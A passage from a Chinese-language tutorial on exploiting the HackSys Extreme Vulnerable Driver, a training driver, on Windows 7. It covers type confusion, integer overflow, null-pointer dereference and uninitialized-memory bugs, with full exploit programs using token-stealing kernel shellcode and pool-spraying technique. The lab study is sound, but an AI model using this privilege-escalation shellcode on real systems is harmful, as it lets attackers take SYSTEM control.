    _DbgPrintEx(0x4Du, 3u, "[+] Pool Tag: %s\n", "'kcaH'");
    _DbgPrintEx(0x4Du, 3u, "[+] Pool Chunk: 0x%p\n", v1);
    ExFreePoolWithTag(v1, 0x6B636148u);
    result = Status;
  }
  else
  {
    _DbgPrintEx(0x4Du, 3u, "[-] Unable to allocate Pool chunk\n");
    result = -1073741801;
  }
  return result;
}

int __stdcall TypeConfusionObjectInitializer(_KERNEL_TYPE_CONFUSION_OBJECT *KernelTypeConfusionObject)
{
  _DbgPrintEx(0x4Du, 3u, "[+] KernelTypeConfusionObject->Callback: 0x%p\n", KernelTypeConfusionObject->Callback);
  _DbgPrintEx(0x4Du, 3u, "[+] Calling Callback\n");
  KernelTypeConfusionObject->Callback();
  _DbgPrintEx(0x4Du, 3u, "[+] Kernel Type Confusion Object Initialized\n");
  return 0;
}

EXP

下面两种方法都可以(其实是一种)

##include <stdio.h>
##include <Windows.h>

typedef struct _UserObject
{
    ULONG_PTR ObjectID;
    ULONG_PTR ObjectType;
} UserObject, *PUserObject;
##define KTHREAD_OFFSET 0x124  // nt!_KPCR.PcrbData.CurrentThread
##define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process
##define PID_OFFSET 0x0B4      // nt!_EPROCESS.UniqueProcessId
##define FLINK_OFFSET 0x0B8    // nt!_EPROCESS.ActiveProcessLinks.Flink
##define TOKEN_OFFSET 0x0F8    // nt!_EPROCESS.Token
##define SYSTEM_PID 0x004      // SYSTEM Process PID
VOID TokenStealingPayloadWin7()
{
    // Importance of Kernel Recovery
    __asm {
		pushad

		; 获取当前进程EPROCESS
		xor eax, eax
		mov eax, fs: [eax + KTHREAD_OFFSET]
		mov eax, [eax + EPROCESS_OFFSET]
		mov ecx, eax

		; 搜索system进程EPROCESS
		mov edx, SYSTEM_PID
		SearchSystemPID :
		mov eax, [eax + FLINK_OFFSET]
			sub eax, FLINK_OFFSET
			cmp[eax + PID_OFFSET], edx
			jne SearchSystemPID

			; token窃取
			mov edx, [eax + TOKEN_OFFSET]
			mov[ecx + TOKEN_OFFSET], edx

			; 环境还原 + 返回
			popad
    }
}
static VOID CreateCmd()
{
    STARTUPINFO si = {sizeof(si)};
    PROCESS_INFORMATION pi = {0};
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_SHOW;
    WCHAR wzFilePath[MAX_PATH] = {L"cmd.exe"};
    BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
    if (bReturn)
        CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}

int main()
{
    ULONG UserBufferSize = sizeof(UserObject);
    PVOID EopPayload = &TokenStealingPayloadWin7;
    HANDLE hDevice = CreateFileA("\\\\.\\HacksysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED, NULL);

    PUserObject UserBuffer = (PUserObject)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, UserBufferSize);

    UserBuffer->ObjectID = (ULONG_PTR)EopPayload;
    UserBuffer->ObjectType = (ULONG_PTR)EopPayload;

    ULONG WriteRet = 0;
    DeviceIoControl(hDevice, 0x222023, (LPVOID)UserBuffer, UserBufferSize, NULL, 0, &WriteRet, NULL);
    CreateCmd();
    HeapFree(GetProcessHeap(), 0, (LPVOID)UserBuffer);
    UserBuffer = NULL;
    // HANDLE hDevice = NULL;
    // hDevice = CreateFileA("\\\\.\\HacksysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED, NULL);
    // if (hDevice == INVALID_HANDLE_VALUE)
    // {
    //     printf("[-] Error - Unable to obtain a handle to the driver, error code %d\n", GetLastError());
    //     exit(1);
    // }
    // // 4.DeviceIoControl给0环发请求并接收返回结果
    // DWORD dwRet = 0;
    // char exp_TypeConfusion[8] = {0};
    // memset(exp_TypeConfusion, 'A', sizeof(exp_TypeConfusion));
    // PVOID EopPayload = &TokenStealingPayloadWin7;
    // // memcpy(&exp_TypeConfusion[4], &EopPayload, 4);
    // // DeviceIoControl(hDevice, 0x222023, exp_TypeConfusion, 0xffffffff, NULL, 0, &dwRet, NULL);

    return 0;
}

8.TriggerIntegerOverflow

整数溢出

漏洞分析

Size是用户缓冲区长度,一个无符号整数,占4字节的空间;如果满足条件条件if(Size+4<0x800),将用户缓冲区复制进内核缓冲区,遇到0x0BAD0B0B0则停止复制,当Size很大时,如0xffffffff+4=3可以绕过if语句,存在整数溢出漏洞。绕过验证条件之后可以构造足够大的数据造成栈溢出,进而执行任意代码。

int __stdcall TriggerIntegerOverflow(void *UserBuffer, unsigned int Size)
{
  unsigned int v2; // esi
  unsigned int *v3; // edi
  int result; // eax
  unsigned int KernelBuffer[512]; // [esp+10h] [ebp-820h] BYREF
  unsigned int Count; // [esp+810h] [ebp-20h]
  CPPEH_RECORD ms_exc; // [esp+818h] [ebp-18h]

  v2 = 0;
  memset(KernelBuffer, 0, sizeof(KernelBuffer));
  ms_exc.registration.TryLevel = 0;
  v3 = UserBuffer;
  ProbeForRead(UserBuffer, 0x800u, 1u);
  _DbgPrintEx(0x4Du, 3u, "[+] UserBuffer: 0x%p\n", UserBuffer);
  _DbgPrintEx(0x4Du, 3u, "[+] UserBuffer Size: 0x%X\n", Size);
  _DbgPrintEx(0x4Du, 3u, "[+] KernelBuffer: 0x%p\n", KernelBuffer);
  _DbgPrintEx(0x4Du, 3u, "[+] KernelBuffer Size: 0x%X\n", 2048);
  _DbgPrintEx(0x4Du, 3u, "[+] Triggering Integer Overflow (Arithmetic Overflow)\n");
  if ( Size + 4 <= 0x800 )
  {
    while ( v2 < Size >> 2 && *v3 != 0xBAD0B0B0 )
    {
      KernelBuffer[v2] = *v3++;
      Count = ++v2;
    }
    result = 0;
  }
  else
  {
    _DbgPrintEx(0x4Du, 3u, "[-] Invalid UserBuffer Size: 0x%X\n", Size);
    ms_exc.registration.TryLevel = -2;
    result = 0xC0000206;
  }
  return result;
}

漏洞利用

使用kali系统/usr/share/metasploit-framework/tools/exploit下的pattern_create.rb生成字符串:

┌──(kali㉿kali)-[/usr/share/metasploit-framework/tools/exploit]
└─$ ./pattern_create.rb -l 0x900
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7

测试代码:

int main()
{
	char buffer[0x901] = "xxxxxxxxx";
	PVOID EopPayload = &TokenStealingPayloadWin7;
	HANDLE hDevice = CreateFileA("\\\\.\\HacksysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED, NULL);
	*(PDWORD)(buffer + 0x900 - 4) = 0xBAD0B0B0;
	DWORD dwret;
	DeviceIoControl(hDevice, 0x222027, buffer, 0xffffffff, NULL, 0, &dwret, NULL);
	return 0;
}

可以看到:

kd> r
eax=00000000 ebx=86b45cf0 ecx=e32b7a0a edx=0000004d esi=83eff17c edi=86b45c80
eip=35724334 esp=9a8d3ac0 ebp=72433372 iopl=0         nv up ei pl zr na pe nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010246
35724334 ??              ???

35724334偏移为0x824

EXP

##include <stdio.h>
##include <Windows.h>
VOID TokenStealingPayloadWin7()
{
	// Importance of Kernel Recovery
	__asm {
		pushad
		xor eax, eax; eax设置为0
		mov eax, fs: [eax + 124h]
		mov eax, [eax + 050h]
		mov ecx, eax
		mov edx, 4
		SearchSystemPID :
						mov eax, [eax + 0b8h]
						sub eax, 0b8h
						cmp[eax + 0b4h], edx
						jne SearchSystemPID

						mov edx, [eax + 0f8h]
						mov[ecx + 0f8h], edx
						popad
						xor eax, eax
						add esp, 12
						pop ebp
						ret 8
	}
}
VOID CreateCmd()
{
	STARTUPINFO si = { sizeof(si) };
	PROCESS_INFORMATION pi = { 0 };
	si.dwFlags = STARTF_USESHOWWINDOW;
	si.wShowWindow = SW_SHOW;
	WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
	BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
	if (bReturn)
		CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
int main()
{
	char buffer[0x82C] = {0};
	DWORD dwret = 0;
	HANDLE hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, NULL, NULL);
	memset(buffer, 'A', 0x824);
	*(PDWORD)(buffer + 0x824) = (DWORD)TokenStealingPayloadWin7;
	*(PDWORD)(buffer + 0x828) = 0xBAD0B0B0;
	DeviceIoControl(hDevice, 0x222027, buffer, 0xffffffff, NULL, 0, &dwret, NULL);
	CreateCmd();
	return 0;
}

9.NullPointerDereference

原理:空指针Null Pointer指向0地址空间,如果不加判断就对其进行引用,会造成不可预知的后果。可以在0地址写入shellcode,通过调用空指针执行。

漏洞分析

释放之后依然对v[1]进行调用,此时其实是对0x00000004地址进行调用,利用方法就是,在0x00000004地址处写入shellcode的地址,然后通过IO控制码0x22202bHEVD驱动通信,随便传入不为0的用户缓冲区即可:

int __stdcall TriggerNullPointerDereference(void *UserBuffer)
{
  const void **v1; // edi
  int result; // eax
  int v3; // esi
  void (*v4)(ULONG, ULONG, PCSTR, ...); // esi

  ProbeForRead(UserBuffer, 8u, 1u);
  v1 = ExAllocatePoolWithTag(NonPagedPool, 8u, 0x6B636148u);
  if ( v1 )
  {
    _DbgPrintEx(0x4Du, 3u, "[+] Pool Tag: %s\n", "'kcaH'");
    _DbgPrintEx(0x4Du, 3u, "[+] Pool Type: %s\n", "NonPagedPool");
    _DbgPrintEx(0x4Du, 3u, "[+] Pool Size: 0x%X\n", 8);
    _DbgPrintEx(0x4Du, 3u, "[+] Pool Chunk: 0x%p\n", v1);
    v3 = *UserBuffer;
    _DbgPrintEx(0x4Du, 3u, "[+] UserValue: 0x%p\n", *UserBuffer);
    _DbgPrintEx(0x4Du, 3u, "[+] NullPointerDereference: 0x%p\n", v1);
    if ( v3 == 0xBAD0B0B0 )
    {
      *v1 = 0xBAD0B0B0;
      v1[1] = NullPointerDereferenceObjectCallback;
      v4 = _DbgPrintEx;
      _DbgPrintEx(0x4Du, 3u, "[+] NullPointerDereference->Value: 0x%p\n", *v1);
      _DbgPrintEx(0x4Du, 3u, "[+] NullPointerDereference->Callback: 0x%p\n", v1[1]);
    }
    else
    {
      v4 = _DbgPrintEx;
      _DbgPrintEx(0x4Du, 3u, "[+] Freeing NullPointerDereference Object\n");
      _DbgPrintEx(0x4Du, 3u, "[+] Pool Tag: %s\n", "'kcaH'");
      _DbgPrintEx(0x4Du, 3u, "[+] Pool Chunk: 0x%p\n", v1);
      ExFreePoolWithTag(v1, 0x6B636148u);
      v1 = 0;
    }
    v4(0x4Du, 3u, "[+] Triggering Null Pointer Dereference\n");
    (v1[1])();
    result = 0;
  }
  else
  {
    _DbgPrintEx(0x4Du, 3u, "[-] Unable to allocate Pool chunk\n");
    result = -1073741801;
  }
  return result;
}

漏洞利用

VirtualAlloc不允许在零页上申请内存空间的,所以需要使用到NtAllocateVirtualMemory来申请内存空间

__kernel_entry NTSYSCALLAPI NTSTATUS NtAllocateVirtualMemory(
  [in]      HANDLE    ProcessHandle,
  [in, out] PVOID     *BaseAddress,
  [in]      ULONG_PTR ZeroBits,
  [in, out] PSIZE_T   RegionSize,
  [in]      ULONG     AllocationType,
  [in]      ULONG     Protect
);

BaseAddress:指向变量的指针,该变量将接收已分配页面区域的基地址。如果BaseAddress的初始值非NULL,则从指定的虚拟地址开始分配区域,向下舍入到下一个主机页面大小地址边界。如果BaseAddress的初始值为NULL ,操作系统将决定在哪里分配该区域。

当参数2设置为1时,将会自动向下取整整个页面大小,写入0时则由系统来给你定,这里是0页,所以要自己定位置

EXP

##include <stdio.h>
##include <Windows.h>

typedef NTSTATUS(WINAPI *My_NtAllocateVirtualMemory)(
    IN HANDLE ProcessHandle,
    IN OUT PVOID *BaseAddress,
    IN ULONG ZeroBits,
    IN OUT PULONG RegionSize,
    IN ULONG AllocationType,
    IN ULONG Protect);

My_NtAllocateVirtualMemory NtAllocateVirtualMemory = NULL;

static VOID TokenStealingPayloadWin7()
{
    // Importance of Kernel Recovery
    __asm {
		pushad
		xor eax, eax; eax设置为0
		mov eax, fs: [eax + 124h]
		mov eax, [eax + 050h]
		mov ecx, eax
		mov edx, 4
		SearchSystemPID :
						mov eax, [eax + 0b8h]
						sub eax, 0b8h
						cmp[eax + 0b4h], edx
						jne SearchSystemPID

						mov edx, [eax + 0f8h]
						mov[ecx + 0f8h], edx
						popad
						xor eax, eax
						add esp, 12
						pop ebp
						ret 8
    }
}

VOID CreateCmd()
{
    STARTUPINFO si = {sizeof(si)};
    PROCESS_INFORMATION pi = {0};
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_SHOW;
    WCHAR wzFilePath[MAX_PATH] = {L"cmd.exe"};
    BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
    if (bReturn)
        CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}

int main()
{

    DWORD dwret = 0;
    HANDLE hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, NULL, NULL);
    char buffer[4] = {0};
    *(PDWORD32)(buffer) = 0xBAD0B0B0 + 1;
    PVOID Zero_addr = (PVOID)1;
    SIZE_T RegionSize = 0x1000;
    *(FARPROC *)&NtAllocateVirtualMemory = GetProcAddress(GetModuleHandleW(L"ntdll"), "NtAllocateVirtualMemory");
    NtAllocateVirtualMemory(INVALID_HANDLE_VALUE, &Zero_addr, 0, &RegionSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    *(DWORD *)(0x4) = (DWORD)&TokenStealingPayloadWin7;
    DeviceIoControl(hDevice, 0x22202B, buffer, 4, NULL, 0, &dwret, NULL);
    CreateCmd();
    return 0;
}

10.TriggerUninitializedMemoryStack(EXP存在问题)

未初始化栈变量,本部分使用新的利用手法:栈喷射

漏洞分析

首先设置了个未初始化的变量UninitializedMemory,之后判断UserBuffer值,如果等于0xBAD0B0B0就设置UninitializedMemory的一些值,最后判断是否有回调函数,然后调用:

int __stdcall TriggerUninitializedMemoryStack(void *UserBuffer)
{
  int v1; // esi
  _UNINITIALIZED_MEMORY_STACK UninitializedMemory; // [esp+14h] [ebp-10Ch] BYREF
  CPPEH_RECORD ms_exc; // [esp+108h] [ebp-18h]

  ms_exc.registration.TryLevel = 0;
  ProbeForRead(UserBuffer, 0xF0u, 1u);
  v1 = *UserBuffer;
  _DbgPrintEx(0x4Du, 3u, "[+] UserValue: 0x%p\n", *UserBuffer);
  _DbgPrintEx(0x4Du, 3u, "[+] UninitializedMemory Address: 0x%p\n", &UninitializedMemory);
  if ( v1 == 0xBAD0B0B0 )
  {
    UninitializedMemory.Value = 0xBAD0B0B0;
    UninitializedMemory.Callback = UninitializedMemoryStackObjectCallback;
  }
  _DbgPrintEx(0x4Du, 3u, "[+] UninitializedMemory.Value: 0x%p\n", UninitializedMemory.Value);
  _DbgPrintEx(0x4Du, 3u, "[+] UninitializedMemory.Callback: 0x%p\n", UninitializedMemory.Callback);
  _DbgPrintEx(0x4Du, 3u, "[+] Triggering Uninitialized Memory in Stack\n");
  if ( UninitializedMemory.Callback )
    UninitializedMemory.Callback();
  return 0;
}

由于_UNINITIALIZED_MEMORY_STACK没有初始化,所以存在利用“栈喷射”将_UNINITIALIZED_MEMORY_STACK结构体成员Callback设置为shellcode函数的地址

栈喷射:

Windows内核API中存在一个函数NtMapUserPhysicalPages,可以拷贝输入的字节到内核栈上的一个本地缓冲区。(栈喷射:nt!NtMapUserPhysicalPages 和内核堆栈喷射技术

EXP(未完成)

还是有点小问题,,

11.TriggerUninitializedMemoryPagedPool

未初始化池变量

前置

Windows 下,Lookaside List(后备列表)提供了一个比较简单的提高小块内存分配和申请效率的机制,用来进行固定大小内存块的小内存块的动态申请和释放

KPCRB中有这么几个:

kd> dt _KPRCB
ntdll!_KPRCB
...
   +0x5a0 PPLookasideList  : [16] _PP_LOOKASIDE_LIST
   +0x620 PPNPagedLookasideList : [32] _GENERAL_LOOKASIDE_POOL
   +0xf20 PPPagedLookasideList : [32] _GENERAL_LOOKASIDE_POOL
...

每一个 GENERAL_LOOKASIDE 都是一条 Lookaside List,所有的 GENERAL_LOOKASIDE 用双向链表串起来,

Lookaside List就是一个控制结构头和一个由相同大小的内存块构成的单链表组成,控制结构中,记录着当前后备列表的深度和最大深度

在通过ExAllocateFrom(N)PagedLookasideList申请内存的时候,如果单链表不为空,那么就从头部摘出一块返回,否则使用ExAllocatePoolWithTag或者在初始化后备列表时提供的分配函数申请一个内存块返回给用户;在通过ExFreeTo(N)PagedLookasideList释放之前申请的内存块时,如果后备列表当前的深度没有超过最大深度,那么插入到内存块头部,否则使用ExFreePoolWithTag或在初始化后备列表时提供的释放函数释放内存块。

//0x48 bytes (sizeof)
struct _GENERAL_LOOKASIDE_POOL
{
    union
    {
        union _SLIST_HEADER ListHead;                                       //0x0//内存链表
        struct _SINGLE_LIST_ENTRY SingleListHead;                           //0x0//是一条具有相同大小的空闲换页池单向链表
    };
    USHORT Depth;                                                           //0x8//当前内存列表的最大深度
    USHORT MaximumDepth;                                                    //0xa//整个look aside运行的最大深度,默认256
    ULONG TotalAllocates;                                                   //0xc/总共分配了多少次内存
    union
    {
        ULONG AllocateMisses;                                               //0x10//分配失败的内存,通过Allocate分配
        ULONG AllocateHits;                                                 //0x10
    };
    ULONG TotalFrees;                                                       //0x14
    union
    {
        ULONG FreeMisses;                                                   //0x18
        ULONG FreeHits;                                                     //0x18
    };
    enum _POOL_TYPE Type;                                                   //0x1c
    ULONG Tag;                                                              //0x20
    ULONG Size;                                                             //0x24
    union//分配函数
    {
        VOID* (*AllocateEx)(enum _POOL_TYPE arg1, ULONG arg2, ULONG arg3, struct _LOOKASIDE_LIST_EX* arg4); //0x28
        VOID* (*Allocate)(enum _POOL_TYPE arg1, ULONG arg2, ULONG arg3);    //0x28
    };
    union//释放函数
    {
        VOID (*FreeEx)(VOID* arg1, struct _LOOKASIDE_LIST_EX* arg2);        //0x2c
        VOID (*Free)(VOID* arg1);                                           //0x2c
    };
    struct _LIST_ENTRY ListEntry;                                           //0x30//就是 GENERAL_LOOKASIDE 双向链表
    ULONG LastTotalAllocates;                                               //0x38
    union
    {
        ULONG LastAllocateMisses;                                           //0x3c
        ULONG LastAllocateHits;                                             //0x3c
    };
    ULONG Future[2];                                                        //0x40
}; 

大致是这个样子:

alt 3

当使用 ExAllocatePoolWithTag 申请一个小块内存时,系统会首先尝试从 KPRCB 中的 PP(N)PagedLookasideList 分配内存。在分配内存时,后备列表中的内存块只提供满足大小符合的申请,否则不予处理


Windows 7 下的Lookaside Lists快表最大为0x20,最多有256个块,这里需要修改快表的结构,因为申请池一开始是使用快表,如果快表不合适才会去调用空表(ListHeads)

漏洞分析

申请了一块分页池,UserBuffer给了v2,判断是否等于 0xBAD0B0B0 ,如果相等则给回调函数赋值然后执行,如果不相等则直接调用回调函数,所以要做的就是在这里写为shellcode的地址即可:

int __stdcall TriggerUninitializedMemoryPagedPool(void *UserBuffer)
{
  int result; // eax
  int v2; // esi
  _UNINITIALIZED_MEMORY_POOL *UninitializedMemory; // [esp+14h] [ebp-1Ch] BYREF
  CPPEH_RECORD ms_exc; // [esp+18h] [ebp-18h]

  ms_exc.registration.TryLevel = 0;
  ProbeForRead(UserBuffer, 0xF0u, 1u);
  UninitializedMemory = ExAllocatePoolWithTag(PagedPool, 0xF0u, 0x6B636148u);
  if ( UninitializedMemory )
  {
    _DbgPrintEx(0x4Du, 3u, "[+] Pool Tag: %s\n", "'kcaH'");
    _DbgPrintEx(0x4Du, 3u, "[+] Pool Type: %s\n", "PagedPool");
    _DbgPrintEx(0x4Du, 3u, "[+] Pool Size: 0x%X\n", 240);
    _DbgPrintEx(0x4Du, 3u, "[+] Pool Chunk: 0x%p\n", UninitializedMemory);
    v2 = *UserBuffer;
    _DbgPrintEx(0x4Du, 3u, "[+] UserValue: 0x%p\n", *UserBuffer);
    _DbgPrintEx(0x4Du, 3u, "[+] UninitializedMemory Address: 0x%p\n", &UninitializedMemory);
    if ( v2 == 0xBAD0B0B0 )
    {
      UninitializedMemory->Value = 0xBAD0B0B0;
      UninitializedMemory->Callback = UninitializedMemoryPagedPoolObjectCallback;
      memset(UninitializedMemory->Buffer, 65, sizeof(UninitializedMemory->Buffer));
      UninitializedMemory->Buffer[57] = 0;
    }
    _DbgPrintEx(0x4Du, 3u, "[+] Triggering Uninitialized Memory in PagedPool\n");
    if ( UninitializedMemory )
    {
      _DbgPrintEx(0x4Du, 3u, "[+] UninitializedMemory->Value: 0x%p\n", UninitializedMemory->Value);
      _DbgPrintEx(0x4Du, 3u, "[+] UninitializedMemory->Callback: 0x%p\n", UninitializedMemory->Callback);
      UninitializedMemory->Callback();
    }
    result = 0;
  }
  else
  {
    _DbgPrintEx(0x4Du, 3u, "[-] Unable to allocate Pool chunk\n");
    ms_exc.registration.TryLevel = -2;
    result = -1073741801;
  }
  return result;
}

源码中的UninitializedMemory结构体:

typedef struct _UNINITIALIZED_HEAP_VARIABLE {
        ULONG_PTR Value;
        FunctionPointer Callback;
        ULONG_PTR Buffer[58];
} UNINITIALIZED_HEAP_VARIABLE, *PUNINITIALIZED_HEAP_VARIABLE;
//4 + 4 + 58 * 4 + pool header = 248 < 256

所以UninitializedMemory 属于小块内存,系统会首先尝试从 PPPagedLookasideList 中分配申请的换页池

接下来要做的就是使 PPPagedLookasideList 中填满脏空闲内存块,之后UninitializedMemory 会从PPPagedLookasideList 中申请换页池块,发生未初始化变量调用的时候,就会执行 shellcode 了。

漏洞利用

之前堆喷射用的函数CreateEventA,但是这里是分页池而不是非分页池

事件对象本身分配给了非分页池,但是最后一个参数LPCTSTR类型的lpName实际上是在分页池上分配的,并且可以操控

HANDLE CreateEventA(
  LPSECURITY_ATTRIBUTES lpEventAttributes,
  BOOL                  bManualReset,
  BOOL                  bInitialState,
  LPCSTR                lpName
);

这里要使用CreateEventW 而不是 CreateEventA,因为地址中总会出现 00,用 CreateEventA 的话字符串会被截断,用 CreateEventW 的话要遇到 00 00 才会被截断。

这里还需要指定lpName都不相等,因为如果每个 lpName 都相等的话,你就算调用再多次 CreateEventW,到最后换页池中也只存在着一块 lpName(因为是字符串,只要有一份就够了),也就是说到最后 PPPagedLookasideList 248字节链上只会存在一块空闲换页池

源码中堆结构如下:

typedef struct _UNINITIALIZED_HEAP_VARIABLE {
        ULONG_PTR Value;
        FunctionPointer Callback;
        ULONG_PTR Buffer[58];
} UNINITIALIZED_HEAP_VARIABLE, *PUNINITIALIZED_HEAP_VARIABLE;
//4 + 4 + 58 * 4 + pool header = 248 < 256

回调函数在+4的位置

需要注意的:

  • Lookaside表在系统启动2分钟之后启动,所以需要等等
  • Lookaside列表的最大块大小是 0x20,它最多只能管理 256 个块,之后任何额外的块都由 ListHead管理
  • lpName不应该包含任何 NULL 字符,因为这会改变lpName的长度,并且漏洞利用将会失败

流程:

  • 使用CreateEventW创建事件,其中第四个参数需要按照源码中_UNINITIALIZED_HEAP_VARIABLE结构体来填写:偏移为4的地方写成shellcode地址,然后保证第四个参数每个都不一样,再额外修改一点不相关的就行
  • 释放申请的256个池
  • 接下来与驱动交互的时候,申请出来的池就会执行shellcode。(未初始化池变量)

EXP
